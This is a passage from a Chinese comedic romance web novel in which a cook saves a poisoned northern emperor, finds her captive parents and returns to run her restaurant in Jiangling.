随后那些侍卫极为轻车熟路地抬起拓跋泽就往揽月宫跑,那太医院的御医不知何时亦成群结队地拎着小药箱跟着侍卫跑,明明庄严肃穆的皇宫弄得跟个马拉松比赛一样。 张清寒走到马牧川身前,默默地拍了拍他的肩,却也别无他法,这是长公主自己选的路,成王败寇只是寻常。 马牧川卧倒在地哭得声嘶力竭,血红的双眼死死望着他藏在心中从不敢 言的爱人,最后只能伸出手指缓缓地拉住了拓拔嫣然的手,冰冷纤瘦毫无生气,可他依旧紧紧不放。 “我会向拓跋泽请旨厚葬了长公主。”张清寒沉默许久开口道,“如果他还有命的话。” “他应是吃了这汤里的硫磺硝石才会如此。”程六水怏怏道,她有些怕得缩了缩身子,缩在了朱红金柱的阴影下,却仍能看见听见这里周遭的一切,原来吃人的世道里,不分高贵低贱皆是命如草芥。 “你闻出来的?”张清寒赶忙上前追问道,待到来了六水面前,他才发觉她身子抖得不像话,显然是怕极了。 一时间他全然忘了自己要说什么,只能心疼地一遍遍摩挲着六水的背,挡在她的眼前不让她再看满殿的血腥。 程六水愣了许久回过神来,急急忙忙道,“陶陶他们呢?他们在哪儿?”她怕了,怕再也见不到他们,她要他们都好好的,好好地活在这世上。 “不怕不怕,陶陶他们就在不远的宫殿里。”张清寒轻声安慰道。 而马牧川听了这话,浑浊的双眼才晃动了两下,是啊他还有妹妹,他的妹妹亦在这杀人不眨眼的北戎皇宫,他赶忙站起身子,轻轻从地上抱起了拓跋嫣然,令她静悄悄地躺在那不远处的贵妃榻上,柔软的毯子裹住了她冰冷的身体。 马牧川最后望了她一眼,为她阖上了这双不肯离世的双眼,眼角一滴泪默然划过,却也只能去寻他的妹妹。 三人赶紧跑去一旁的宫殿,急三火四推开门,见这几人完好无缺地待在殿中,程六水忽然卸下了全部力气,“哇”的一声哭了出来抱着赵玉雨不撒手,抽抽噎噎了半天才道,“太吓人了,这北戎怎么都是不要命的疯子啊。” “这是怎的了?”杜少仲一看那马牧川满手鲜血,六水也哭成了个泪人儿,赶紧急忙开口道。 张清寒长叹口气,将其中因由解释给这几人听,那马陶陶越听越攥紧她哥哥的手,兄妹两人相互倚靠这才不至于摔了。 “竟是如此?那拓跋泽还能活吗?我这还有陛下的密旨呢,况且北戎没了他,那些主战派怕是要闹翻天了吧,说不定明日就得重挑战事。”杜少仲皱眉忧心忡忡道。 “瞧着是早已病入膏肓,这吃了硫磺硝石怕是药石无医了。”张清寒亦担忧道。 “打就打,我去与兄长镇守边疆,正好我好久没回漠北了。”乔四方站于一旁开口道。 “大乾国力昌盛,是不怕打仗,可边疆百姓的好日子才过几年,这仗自是能不打就不打的,生灵涂炭横尸遍野,那大乾便会如北戎般成了吃人的世道。”张清寒出声道。 此言一出,众人皆是静默不语,谁都知拓跋泽是个疯子,可也就是这个疯子能震得住北戎朝中那些妖魔鬼怪。 “或许我可以试试。”一道极其幽微的声音响起,开口的是哭得鼻涕拉碴的程六水,她那俩眼睛肿得跟个桃一样。 “六水,你知道破解之法?”张清寒惊道。 “我隐约记得,幼时师兄就误食过,娘亲便抓了药给师兄服下,半月也就好了。”程六水回忆道。 话音刚落,那杜少仲的眼睛都在放光,若是拓跋泽能活,那便少了多少祸事啊,“走,现在就去给拓跋泽抓药。” 却不想程六水并未被他拉动,她低下头犹豫片刻,又抬起头望着角落里马牧川道,“马大哥,可以吗?” 马牧川心如死灰怔愣片刻,终于打破了这一室静谧道,“去吧,我没事。”他恨拓跋泽,他恨他冷血无情逼死了自己的亲姐姐,他更恨自己为何不能早些明白嫣然的心意,或许这一切就都不会发生。 无论他恨谁怨谁,但他始终都明白家国天下,无国便无家,拓跋泽不能死。 待到程六水跑得上气不接下气到了揽月宫之时,她捂着岔气的肚子一抬头便目瞪口呆,真不愧是揽月宫啊,一草一木皆是冰清玉洁仙气缥缈,一轮和田白玉之圆月不知用了何等手段高悬于半空中,昼夜不停地烛火照耀着这以假乱真之月,身在此处无论何时都能望见这月白皎洁。 与这圆月静谧高洁恰恰相反的是,揽月宫上蹿下跳到处乱跑的宫人医士们,想必内里当真是乱了套了,竟无人揽住这不知底细的程六水,她一路便进了内室,自然了想拦也拦不住,她身后跟着大乾一行人浩浩荡荡地全来了。 床榻之上的拓跋泽早已乌青浮于全身,想来从他喝了那毒汤到如今,已是过了月余,能撑到现在说来北戎御医已是尽了力用了心,再加上拓跋泽是马上皇帝,身体底子本就是个中翘楚。 程六水现下也只能死马当活马医,想了半天记忆中的娘亲是如何给师兄解毒的,忽然福灵心至颠颠跑去庖厨,取来那生绿豆,磨得极细筛出豆汁来,留着备用。又从药房取来余甘子,甘草,陈皮,桔梗,熬成药汤,最后加入这生绿豆汁。 整个揽月宫里皆是束手无策,只能答应用程六水这古怪的方子试试,谁知她本就是厨子做惯了,那酒楼诸人还个顶个的能吃,一个顺手就熬出了足足五六人的分量。 掰开拓跋泽的嘴,一股脑就全灌了进去,那内侍和医官都不忍心看,陛下昏迷至此只能任由这看起来就甚是不靠谱的姑娘摆布。 “咳咳咳!”不知是生绿豆药汤起了作用,还是拓跋泽在病榻上被灌醒了,竟突然醒转脸色稍有些缓解。 “别动,还有半桶没喝完。”程六水严肃地直接按住了拓跋泽,那乔四方手劲甚大,继续挟制住拓跋泽的嘴巴,两人齐心协力,丝毫不顾那拓跋泽的手舞足蹈,硬生生半桶又灌了进去。 这下子拓跋泽面色都红润了,他半点力气都没有的在榻上躺平,看都不看一眼周遭的人,只是偶尔望一望那轮白玉圆月。 “奇了奇了,陛下脉象已脱死相,但这毒太深……”医官边把脉,边欲言又止道。 “说。”拓跋泽十分平静道。 “这毒太深怕是就算能救得了一时,却救不了一世,大乾来使的方子虽然管用,却只是吊着陛下的一口气。”医官头顶留下了豆大的汗珠子,本是而立的年纪那白发肉眼可见的滋滋往外冒啊,生怕自己也跟着殉葬了。 “哦,就还是得死是吧。”拓跋泽无所谓道。 “轰隆隆轰隆隆!”忽然远处传来了震天响的声音,一瞬间众人皆是地动山摇,连躲避都来不及就传来了连绵不断的声响。 那马家兄妹颤颤巍巍躲在乔四方后面,怕得要死,赵玉雨与杜少仲吓得直接抱在里一起,这一日当真是跌宕起伏,怕是话本子都写不出来的惊吓异常。 而反观程六水倒是镇定自若,这声音在她记忆深处总是时时听到的,怕是在襁褓之中就练就出来了,谁让程门是机关炸药大家呢。 “陛下不好了不好了!”殿外一统领连滚带爬地跑了进来,一下子就跪倒在拓跋泽面前。 “孤又不好了?”拓跋泽眼皮微微抬起道。 “不是不是,是西边的金银山不知为何忽然炸了,那山里的匠人矿工拿了金银正四散逃开,整个京城乱成一锅粥了。”统领大声呼喊道。 “乱成一锅粥,你不会去抓人啊,都城五万禁军是摆在宫里看着玩的吗?”拓跋泽没好气道。 “是是是,臣这就去。”统领赶紧起来,结果脚还没迈出大殿,就听到后边拓跋泽催命般的声音,“三日内把人都抓来,不然你就去金银山开矿去吧。” 那统领一听胆都突突了,腿脚赶紧倒腾地往外跑去。 拓跋泽如今也是有些力气,缓过神来冷声道,“你们大乾人今日倒是看了我北戎不少笑话。” “哪里是笑话,不过是寻常事罢了,哪里没有呢。”张清寒轻笑道,紧接着道,“万望陛下保重,北戎还都靠您撑着。” “你们大乾的意思,孤都知道,救治孤的心意,孤也领情。”拓跋泽答道,挑眉看向镇静自若的程六水道,“你救治有功,要 什么赏?” 程六水瞪大了双眼,原来做好事真的有回报啊,她眨巴眨巴着那双大眼睛,忽然咧开嘴道,“陛下,之前说的酒楼还算不算数啊?” “哦?”拓跋泽这才想起午间那番言谈,不禁好笑道,“你是说酒楼……还有夫婿?” 第118章 话音刚落,一记冷寒彻骨的眼刀就扔了过来,拓拔泽好不容易活过来的身子感觉又有点要死了,他反而还乐了,笑得那叫一个春光灿烂。 那程六水机灵得很,自然感受到了那背后源源不断的怨气,她不禁缩了缩肩膀头道,“不是夫婿,是酒楼,我来北戎几日见这风土人情处处新鲜,美食佳肴更是别有特色,然却没有几家大乾风味的馆子。如今往来两国的商人官员何其多,不如开家做大乾菜色的酒楼。” “准,银钱就从内库拨吧。”拓跋泽此时极好说话,毕竟是对着自己的半吊子救命恩人,更何况这救命恩人所求着实是件太容易的事。 程六水眼睛瞬间放光,兴高采烈地就差手舞足蹈了,起身蹦蹦跳跳道,“太好了,那我再给陛下熬点生绿豆汁去吧!” “咳咳咳……”拓跋泽气一时没顺过来,又咳了好一会儿才道,“今日喝了这几桶够了,你明日再熬吧……” “是!”大乾一行人见拓跋泽大病半愈,正是修养的时候,便住进了宫中别苑,除了马牧川整日郁郁伤怀,其余人可谓是在皇宫里到处乱窜,今日端个羊肉锅子回来,明日背只烤全羊,真是不亦乐乎。 “这拓跋泽的身子能不能再争点气啊,多挺个十年八年,二三十年的。”乔四方掰了一只外焦里嫩的羊腿,金黄润泽的外皮一口咬下去都酥了,羔羊肉一抿就化,再蘸两下椒盐辣椒面,当真是享受至极。 “我前日趁他睡着了,就去把了个脉,六水那方子顶多能救他几个月,之后只能看他的造化了。”张清寒用绢帕擦了擦嘴,这北戎的羊肉就是香,草丰水美才能养出这么好吃的小羊来。 “六水呢?这有好吃的,她怎么不见了?”赵玉雨斯文地一小口一小口吃着,碗里都是杜少仲给她夹的,都堆成小山了。 “她去揽月宫熬药去了,以后咱十全酒楼就能开到北戎了,真好又能公费出来玩了嘿嘿。”马陶陶咧嘴笑得开怀,一个不察辣椒面都呛嗓子眼里了,好一顿咳。 而程六水一大早就去了,熬了好几桶绿豆余甘子药汤,这费劲巴力得拎着送药去,结果一进大殿“哐当”一声,那药汤撒了一地。 前几日急三火四去抓金银山逃犯的统领正跪在殿上,他身后跪着一圈逃犯,“陛下,臣幸不辱命,三日之期已到,逃犯尽数抓捕归来,这几个就是领头的。” 不等拓跋泽开口,就听一抽抽噎噎的哭声响起,“爹爹!娘亲!你们可叫我好找啊!”程六水连滚带爬地扑倒在那为首的逃犯身上,嚎啕大哭起来。 那中年男人一听程六水的声音,猛地抬起头来直接红了眼眶,颤抖的双手扶住扑过来的女儿,“六儿我的六儿!你也被北戎的狗皇帝抓来做炸药了吗?” “女儿我苦命的女儿啊,我们一家子也算是团圆了。”一旁的女人忙不迭地给六水拍着背,说着说着也不禁放声痛哭起来,一家子抱成一团哭得那叫一个震天响。 “那个,你们要不停停,你们说的北戎狗皇帝就是孤。”拓跋泽揉了揉自己的脑瓜仁,等了好一会儿,这一家子都停不下,这才出言道。 “狗皇帝你要杀要剐悉听尊便,我们程氏一族绝不是贪生怕死之辈!”程父程九火正气凌然道,而程母苏木亦跟着点了点头。 程六水本还哭得上气不接下气,听了这话顿时瞠目结舌,那眼泪都给憋回去了,天啊莫不是好竹出歹笋,她就是那个贪生怕死的歹笋。 “停停停!爹,娘,这一切都是误会,不用要杀要剐。”程六水从苏木的怀里钻出来,急忙站起身子辩解道。 “六儿,莫不是你竟投奔了这狗皇帝?”程九火一脸震惊道,随后那大眼珠子一转,直接拱手行礼道,“长江后浪推前浪,只要是我六儿做的就是对的,草民一家为陛下马首是瞻。” 程母闻听此言,缓慢地转过头,看向了这见风使舵的自家男人,再次重重地点了点头。 程六水都傻了,一时话都说不出来了,往日的能言巧辩都被自家爹爹给噎回去了,眼前的爹娘与记忆中完全重合起来,此时她真正成为了这个朝代的程六水,成为了爹娘的女儿。 “你们一家子真是妙人啊,说吧为何要炸了金银山。”拓跋泽都不禁笑了,这等死的日子倒没那么难熬了。 “草民也是被逼无奈啊,三年前我程氏一门皆被掳来北戎金银山,先是让我们研制火器炸药,见我们抵死不从便又将我们驱赶至金银山内开矿,前几日眼见那挟制我程门之人四散跑开,我们这才临时做了些炸药炸开了出口,便急忙逃了出来只为回家。”程父开口解释道。 “陛下?是你掳我爹娘师兄弟来北戎的?你把我喂给你的药都给我吐出来!”程六水圆目怒睁,气势汹汹道。 “药?什么药?”程母皱眉道。 “不是孤,孤压根不知此事,金银山素来都是长姐管辖,想来抓你爹娘的是她,正是因为她死了,你爹娘才能逃出来。”拓跋泽眼见黑锅啪叽就要砸到自己脑袋上了,立马坐直开口道,把那锅扔了出去。 “那不是你,也是你看不住你长姐,我爹娘师兄弟白白在北戎做黑工三年,这劳务费精神损失费补偿费都得你出!”程六水叫嚷道。 “我要是能看住她,我就不会中毒了……”拓跋泽无奈道,随后接着说道,“我出我出,看你救孤一命,这费那费的也从孤的内库出了。但你们一家子毕竟炸了金银山,这些损失孤找谁要啊?” 程六水圆眼睛如其父一样,转了两下便振振有词道,“你这损失不过是些银钱,我那救你命的方子是我娘教我的,只不过我学的不好,这才只吊了你半条命来,那要是我娘能给你彻底救治好,这你的损失就这么算了吧。” 此言一出,程母又缓缓地看向自己的宝贝女儿,默默叹了口气道,“女儿,你是不是把为母卖了之前,先告诉我下,他到底中了什么毒吧?” 程六水被娘亲一训,瞬间立正稍息,乖得跟个小鹌鹑一样,伸出手一指道,“就是以前大师兄蠢得吃火药中毒了,娘亲就三下五除二给治好了,陛下也吃火药了……” 跪在程父程母后的真大师兄江远游抬起头,无声道,“你才蠢呢!” 程六水装作根本看不见唇语,一扭头就不管了,还偏要抖一抖肩膀,给江远游气得想给这师妹扔出去。 “远游那时年纪小不过稚子,误食而已算不上蠢,但陛下你?”程母温柔至极的面庞,不知不觉就说出了扎人心的话语。 程六水看了看脸比锅底还黑的拓跋泽,这才开口解释个中因由,她本就是能言善道张嘴就瞎叭叭叭之人,本来两句话的事被她一说,真可谓是荡气回肠跌宕起伏,听到最后程母不禁潸然泪下,满是心疼地望向榻上病弱的拓跋泽。 拓跋泽缓缓地看向程六水,此时此刻非常想让她别说了,再说下去他那些杀人如麻暴虐成性的名声都没了,直接成了个重情重义却被亲姐陷害的无辜皇帝,为了两国太平撑着破败的身子勉强支撑,都快成圣人了…… “陛下,我定能将你治好,我办事你放心。”程母慷慨激昂道,一抹身就从地上捡起了程六水带来的桶,去了后殿药室。 “……行,你们退下吧,就一同去别苑歇息,孤得静一静。”拓跋泽用双手捂住眼睛,无语又无奈道。 程门一行七八人,程六水搀扶着她的老父亲,师兄弟跟着他们身后,个个喜笑颜开地推开了别苑的大门,只见那张清寒正在扯另一只羊腿,嘴上的油还没来得及擦呢。 “……程前辈?!”张清寒那羊腿“啪”一声就掉了,赶紧去那绢帕擦手擦嘴,可惜今日风有些大,那帕子被风直直地吹上了天,张清寒急得蹦高去够,结果就跟着帕子一同挂树上了。 “哎呦张老弟啊,你说说你也在这儿?这不是巧了吗?咋地这几年不见,竟练了倒挂金钩的本事了?”程父咧开嘴笑得眉飞色舞道。 张清寒跟着露出了比哭还难看的笑容,从树上一跃而下,忙不迭擦了手与嘴,整理好仪容仪表,走上前殷切道,“程前辈,我本就是随六水来北戎寻你的,真是万幸寻到了。” “随六水?”程父转了转眼睛,就看向了一旁乖巧到异常的女儿。 “爹爹,女儿心悦于他。”程六水难得羞怯道,说完便羞羞答答地盯着地面,不敢抬头。 程父脑子“嗡”的一下子,脑袋跟个拨浪鼓一样,疯狂摇摆看着张清寒与自家女儿,摇着摇着两眼一黑头重脚轻地晕了。 “爹爹!” “师父!” “程前辈!” 一群人乱成一团,七手八脚地就给程父抬进了别苑。 第119章 “啥玩意?东家给老丈人吓晕了?”赵玉雨坐在后殿,震惊不 已道。 “我刚才就去拿椒盐辣椒面的功夫,一个没看住,等回来的时候,就见清寒扛着人就往屋里跑,六水跟在旁边喊爹,那喊得也不能是清寒啊,肯定就是晕倒的那个。”杜少仲摇着扇子,小声说道。 “东家长得也还行啊,咋还能把六水她爹给吓到呢?”马陶陶摸着下巴百思不得其解道。 “老大和六水她爹早就认识,莫不是俩人之前结仇了吧?”乔四方撇嘴道。 “你别说真有可能,清寒一天天净得罪人,还真备不住得罪了程门的当家人呢。”杜少仲振振有词道。 “行了,你们这几个臭皮匠就别跟着瞎猜了,先不说结不结仇,你要是有女儿,你愿意让她嫁给一个大了好几岁的血面阎罗吗?”马牧川躺在那儿实在听不下去了,才面色戚戚道。 “对啊,东家比六水大几岁来着?”赵玉雨颇觉有理地点头道。 而此时屋里,那程父气得都要从榻上蹦起来道,“你多大?他多大?我管他叫老弟,你说你得管他叫啥?” 程六水抿着嘴圆眼睛晃晃悠悠半天才嘟嘟囔囔道,“叫叔叔?还是舅舅?我分不清。” “……我也分不清,现在不是分清这个的时候,总之你不能喜欢他啊,你俩差着辈分呢?咋的以后我叫他老弟,他叫我爹啊?”程父气得一直在那捋胸口,生怕自己气得心脏都跳出来。 “倒是也行。”程六水蔫了吧唧道。 “也行?也行个屁?你知道他大你多少吗?”程父立着大眼珠子道。 “五六七八岁吧……”程六水掰着手指头数了半天,她今朝十八岁,清寒多大来着,二十四还是二十五? “他如今二十有六,而六儿你不过碧玉年华,足足差了八岁呢,他要是成亲早现下孩子都能打酱油了。”程父翻了个大大的白眼道。 “可是爹,你比娘亲也大了八九岁吧,我咋没看你说啥呢?”程六水不服气地鼓着脸道。 “你你你,说你呢,说我和娘做什么。就是不说年纪,那张清寒也不是个良配。”程父气势弱了几分道。 “为何?他文武双全,性子虽然冷了点但在我面前乖得很,又是个品行操守极佳之人,怎么看都是个不错的夫婿人选啊。”程六水若有所思道。 “他乖?我与他相识了六七年,就没见他乖过,他是人品德行都不错,但选男人最重要的是什么?是能安安稳稳地过日子,他成日打打杀杀的,哪里是个能过日子的人,再加上位高权重是非多,你要是嫁给他,往后都是事。”程父语重心长大声道。 “行了,你莫要吓唬女儿了。”这时,程母推门而入,一进来就见自家女儿如只受惊的小白兔般躲在自己身后,她只能安抚地拍了拍她。 “我……我没吓唬她啊,我说的也是实话嘛。”程父这下子半点气势都没了,憋屈地小声道。 “日子是两个人过的,两人齐心协力那日子自然越过越好,若是只图一个安稳妥帖,就让女儿嫁给自己不喜的人,那才是误了终身,况且人生在世,今日安稳那明日就不一定安稳了,这些啊谁能料到?”程母拉着程六水坐下,板着脸教导着程父道。 程父撇着嘴,半句话都不敢还,老老实实地坐着。 “再说了,咱们女儿不是那攀附的女萝,我们不在的时日,她一人过得有声有色。女儿,娘只问你一句,你若是嫁他,是否还能如从前般肆意快活,要是能就嫁,要是不能那还不如自己一人过呢。”程母望向程六水道。 程六水方才反驳爹爹的劲头,竟半点都使不出来了,肆意快活?她从未想过嫁给张清寒之后的日子,若是真嫁于他,他要是舍不下皇帝情义,留在京中当官,那她就在京城开间酒楼,做那酒楼的东家娘子,日出而作日落而息。 要是回江陵那也好,十全酒楼在江陵名气早已打响,不愁生意比京城容易些,但她前日刚又要了北戎的酒楼,哎呀这要是三个一起开,那她不得累个好歹的,酒楼还是得招人。张清寒前些日子平定叛乱,那得的赏赐不老少,就用他的钱开,真是空手套白狼啊。 这下子她就是连锁酒楼的东家娘子了,最好让拓跋泽给自己赐个北戎第一厨的匾额,这样北戎酒楼的生意也能好起来,那京城的酒楼也得有个匾额,到时候得去找钱三才钱老伯,让他替自己向大乾陛下要一个。 程父程母眼见自家女儿脸色赤橙黄绿青蓝紫变个不停,一会儿撇嘴一会儿点头,现下还皱起眉来了。 “六儿,你要是现在想不明白,日后再想也来得及,别想得脑袋疼。”程父小心翼翼道。 程六水忽然坐直了身子,无比认真地开口道,“爹娘,我想明白了,他好看又有钱,父母双亡他还不管我,我觉着还成。” “……这些就是你心悦他的理由啊?”程母语塞了半天才道。 不等程六水说话,程父紧接着开口道,“你外面那些师兄哪个拎出来不都符合这个要求吗?” “他们有钱吗?”程六水眨巴着眼睛好奇道。 “有钱啊,咱们程门什么时候缺过钱?”程母用宛如看痴傻儿般看程六水。 “我怎么不知道?当年你们都不见了,我找了半天没在程门找到一个铜板啊!”程六水这下子比要嫁人还激动道。 “啥?哎呀爹娘忘告诉你了,程门后山不有两条山道嘛,陡峭的那条山道你从山脚下向上爬五十步,再向东走三十步,再向上爬八十步,最后向西一路直行,停在一颗歪脖子树下,你绕到树后能看见一个老大的树洞,里面有把铁锹,你拎着铁锹再向上爬十步,你就开始挖,向下挖三丈深。”程父比比划划说道。 “就能挖到钱吗?”程六水心吊在嗓子眼,心扑通扑通跳道。 “不能啊,但你挖到一个玄铁制成的箱子,这箱子是带锁的。”程父接着说道。 “那钥匙呢?”程六水此时已经想找根白绫了,她不会真的没苦硬吃了这些日子吧,老天爷啊。 “钥匙在你那儿啊,娘不是给你了个玄铁环吗?”程母答道。 程六水瞪着个大眼睛想了半天,终于从自己背着的小包包里找到了个黑不溜秋的配饰,“娘,你说的不会是这个吧?” “对啊,就是这个!”程母点头道。 “您不是说,这玩意就是戴着玩的吗?居然这么重要?那用这玩意打开玄铁盒子,盒子里有啥啊?”程六水咧着嘴握着拳头道。 “有一个八卦图,这八卦图对应着程门整个的五行八卦布置,你用咱程门绝技最后一页的口诀解开这个八卦图,就能在程门某处找到钱了。”程父洋洋自得道,显然他对自己这个藏钱的套路十分满意。 “那我最爱的爹爹和娘亲,你们为什么不能直接告诉我,这个某处是哪呢?”程六水咬牙切齿道,“还有,你们也没告诉我八卦图藏着哪儿啊,我手里有个黑不溜秋的疙瘩和程门绝技的册子有啥用啊!” “哎呀哎呀,你看这天真蓝啊。”程父抬头故意不看程六水道。 “是啊是啊,太阳也挺大!”程母连连称是,俩人现在是腿不疼腰不酸,看着看着就自顾自地挪着步子出去了。 晚间 膳食是御膳房送来的,先是一大锅的冰煮羊,泉水都成了邦邦硬的冰块,装满了锅子,再放入羊肉煮着,这羊羔肉冷冷热热的,待熟了吃起来肉质便十分紧实爽滑,蘸着芝麻酱韭菜花腐乳子香得人流口水。 其余配菜也皆是北戎风味十足,凉拌沙葱清爽得很,浇着羊肉蘑菇臊子的莜面窝窝鲜美面香,还有那羊肉沙葱烧麦,一口下去汁水四溅,蘸着酿制许久的陈醋,吃得程父程母很是开怀。 程六水气鼓鼓地夹起一块拔丝奶豆腐,斜着眼睛看向自家爹娘,而一旁那狗腿般的张清寒正在给他俩夹菜,“伯父伯母,这红焖羊肉做得着实不错,您尝尝。” “咳咳!”程六水装模作样地咳了两声。 “哎呀乖女儿你多吃点啊!”程父谄媚笑道,给程六水哐哐哐一顿夹,夹了小山般的红焖羊肉冰煮羊肉炖羊棒骨。 程母更是给程六水盛了碗锅茶,炒米奶皮奶豆腐奶茶煮一起,咸香浓郁,是这草原上人人都爱喝的饮子。 “我怎么瞅着不太对呢?”杜少仲狗狗祟祟地同赵玉雨咬耳朵。 “这东家讨好六水爹娘是正常,可这六水和她爹娘是怎么一回事啊?”赵玉雨也丈二和尚摸不着头脑,皱眉不解道。 “确实不对劲,但我看那程前辈倒也没对老大甩脸子,哎哎哎老大说话了!”乔四方在一旁小声道。 “伯母,不知这拓跋泽体内的毒能否彻底拔除?”这边张清寒殷勤侍奉了半天,忽而担忧问道。《 》 【正文完结】 第120章 “他这毒虽然中了有些日子,但只要对症下药,祛除也不是什么难事,只要取生绿豆三两,甘草二两,鲜白茅根一把,生大黄五钱,余甘子一两,再来上三个蛋清,取无根水煎成药汤子服下便可,吃个半月便能活蹦乱跳了。”程母温和答道。 “这和六水的药方好像差不多,但确实是又有点不一样。”杜少仲思索片刻道。 “药理一学博大精深,六儿未学透,这药效便差了许多。”程母老实道,结果一抬眼就见自家女儿幽怨的眼神,这才想起来那藏钱之事还没哄好呢,这才又开口道, “但六儿小小年纪能有这般聪慧这般悟性,已经是当世翘楚了。”程母笑着拍了拍程六水的手,终于收获了一枚嘴角翘起的女儿。 “诸位同六儿一同寻找我们夫妇俩,我程某人敬各位一杯,大恩不言谢,日后有用得上程门的地方,尽管开口。”程父豪爽地一饮而尽,众人皆是推杯换盏,席间一时间热闹非凡。 趁着这热闹,张清寒这才捞着功夫同六水说上两句话,他眉眼乖顺中透着几分忐忑道,“伯父伯母,没为难你吧?他们要是有什么,你就都赖在我身上,说是我引诱你的。” “自然是你引诱我的,我啊就是被你骗了。”程六水心中被娘亲那么一夸,十分气消成了两三分,都能揶揄张清寒了。 “我从没骗过你的。”张清寒揪着她的袖子,央求着辩解道。 “哦?那是我骗你,而且要一直一直骗下去,你怕不怕?”程六水挑眉坏笑道。 “不怕,什么都给你,你骗吧。”张清寒端方自持的面皮子都要被这几句话戳漏了。 “那我可要把你骗光光,只能给我为奴为婢。”程六水咯咯咯直乐,幸亏她那几个师兄正和四方把酒言欢,动静大了些,不然他俩早就让程家爹娘发现了。 “好都听你的,待我们回了大乾,我便上门提亲。”张清寒急切道。 “谁说要这么快成亲的,我爹爹有句话说得很对,我如今不过十八,正是大好年华,我才不要这么早成亲呢。”程六水眨了眨眼睛,俏皮道。 张清寒这下子说不出话来,六水确实是小,江湖儿女不必守世家礼教的束缚,二十几岁成亲的比比皆是,可他又怕,他怕六水寻到父母,自然要回程门,再没有了往日的朝夕相处。 时日一长,她或许会觉着他这么个冷心冷情的人没什么意思,自是那朝气蓬勃年岁相当的男子更招人喜欢。 “你怎的不说话?”程六水主动拉起他的手,娇声道。 张清寒望着眼前之人的点点星眸,刹那间便下了决定道,“一切都依你,你若是不想这般早成婚,你何时想成婚了,我们再成婚,只不过往后这些日子我怕是得叨扰伯父伯母了。” “与我爹娘有何关系?”程六水疑惑不解道。 “你随你爹娘回了程门,我自然也是要跟过去的。”张清寒笑道,反正皇城司也只有大事需要他裁决,他在哪儿待着不是待,江陵的酒楼就再关些日子吧。 程六水闻听此言却又不语了,给张清寒瞧得更为心慌,九曲心肠百转千回道,“莫不是,你不愿我跟过去?”说罢面上不免戚戚之色。 “自然不是的,可我也没说要随爹娘在程门久待啊。”程六水嗔怪道。 张清寒一听便咧嘴笑了,只不过笑不过几瞬,就听身后声音响起“乖女儿,聊什么呢?” “爹爹,想来半月之后,解了那拓跋泽的毒,我们就能回大乾了,女儿想着先随爹娘在程门小住些时日,之后女儿还想回江陵酒楼继续做厨子。”程六水扬起笑脸道。 “什么?你就这么喜欢做厨子?”程父震惊道,那他程门的百年衣钵传给谁啊? “是,女儿喜欢很喜欢。”程六水斩钉截铁道。 程母未动声色,却也看出了六水的坚决,她顺着话茬接了下去,“想做就做吧,可这些机关火器兵器之术,你也得接着学,我与你爹爹可是会随时抽查的。” 程父又震惊地看向程母,挤眉弄眼无声说着,“不拦着点吗???” 程母依旧温和笑着,接着对六水道,“除了机关之术,娘亲我传你的药理也要学,以后你便一边炒菜,一边学机关之术,一边制药吧。每三个月便要考你一次,若是没学,那你便只能跟着爹娘回程门了。” 程六水小脸顿时皱皱巴巴起来,一日十二时辰,她学完这个学那个,学那个学这个,苍天啊大地啊! “爹娘回了程门,定然有很多事要处理,之前没做完的单子都得接着做,对对对还有那万家帮的单子呢,莫要因为我的学业耽误了正事,不如一年考一次吧。”程六水委屈巴巴地开始讨价还价。 “无妨,你这几个师兄学得都比你好,到时候我与爹爹忙起来,让他们来考你便好。”程母笑得春风和煦道。 “师娘,没问题包在我们几个身上!”看热闹不嫌事大的江远游蹦高道。 程六水深吸一口气,转过身子面向张清寒道,“你站住,别动。” “???”张清寒不懂,但他十分听话地照做了,于是程六水的脑袋似块大石头一样,哐哐撞向他的胸口,还好胸口很结实,一点都不疼。 “六儿,你可以的。”程母满是爱怜地摸了摸六水已然撞得乱七八糟的头发,随后便继续吃起了红焖羊肉。 “我……”程六水小脸红着,可怜兮兮地还没说完,程父便开口道, “听你娘的没错,你可以的。”程父也去吃红焖羊肉了。 “我……我可以吗?”程六水只能看向那依旧笑呵呵的张清寒道。 “我监督你,为了能当厨子,你一定可以的。”张清寒给她夹了一块拔丝奶豆腐,接着道,“吃吧,吃点甜的就不苦了。” 盛夏之际,来时的一个马车几匹马,变成了个车队,前几辆做人,后几辆全是拓跋泽承诺的各种补偿损失费,还有一张北戎都城酒楼的地契房契,待到人手齐备,这北戎酒楼便能开起来了。 这一行人摇摇晃晃先是在程门盘桓了月余,程父程母这才舍得六水离开,所幸庐州与江陵相离不远,时时看望也是能的。 离别之时,程母如一只老燕子,看着已然长大的小燕子,虽仍想护在羽翼之下,可她 知小燕子就算跌跌撞撞也还是要飞的,一望无际的天空才是小燕子想要的。 “六儿你好好的,有什么事就给娘写信,要不娘陪你去江陵吧,让你爹自己在这儿赶工。”程母说着说着就哭了起来,拉着程六水不忍放手。 “娘,我会好好的,你放心。要是有人欺负我,我就毒死他,你还是在这儿帮帮爹吧,本来前几年欠的单子就没做完,这你俩一回庐州,又来了几十个单子,你看爹挣钱挣得眼睛都熬红了。”程六水抽抽涕涕道。 “还是女儿心疼爹啊,你等爹娘抽出空来,就去看你。”程父揽住哭成泪人的程母,目送着马车渐行渐远。 八月桂香飘十里,江陵秋来好风光,酒楼一行人欢快地赶着小马驹,穿过那熟悉得不能再熟悉的街道,望着年年岁岁花相似的断口子河,还好还是这帮人,一个没少。 “东家,你看这灰啊比抹布都厚了。”杜少仲端过水盆,七八块抹布洗干净开始擦灰。 “是啊,本以为没多久就回来了,没想到这一走走了小半年呢。”赵玉雨撸起袖子,拎着抹布一同干了起来。 张清寒笑了笑,“嗖”一下飞去了房梁上,擦那些高处的灰尘,“加工钱,大扫除完就加工钱。” “我刚才听到了什么?是可爱的善良的清寒东家说要加工钱吗?”程六水大大咧咧地从大门走了进来,吃力地抱着怀里极为敦实的哈巴狗毛毛。 身后的马陶陶和乔四方拎着大包小裹,采买了不少食材回来,还折了好几只金桂来插瓶。 “哎呦喂,这毛毛怎么这么肥硕了?方知府家伙食也太好了吧!”杜少仲调侃道,戳了戳毛毛圆滚滚的肚皮,真成了个短腿白毛小胖狗了。 “那可不,小毛毛现在可是方知府心尖尖上的狗儿,刚才我们去抱走的时候,那方大人都差点哭了。”马陶陶取了个空花瓶来,把那甜香甜香的金桂插了进去。 乔四方则挑了块已然擦干净灰的地方,将那大包小裹卸下,咧嘴傻笑道,“东家,我也听见加工钱了。” “加加加,你们仨可别偷懒,早干完早加工钱。”张清寒点头吆喝着,转头就笑了起来。 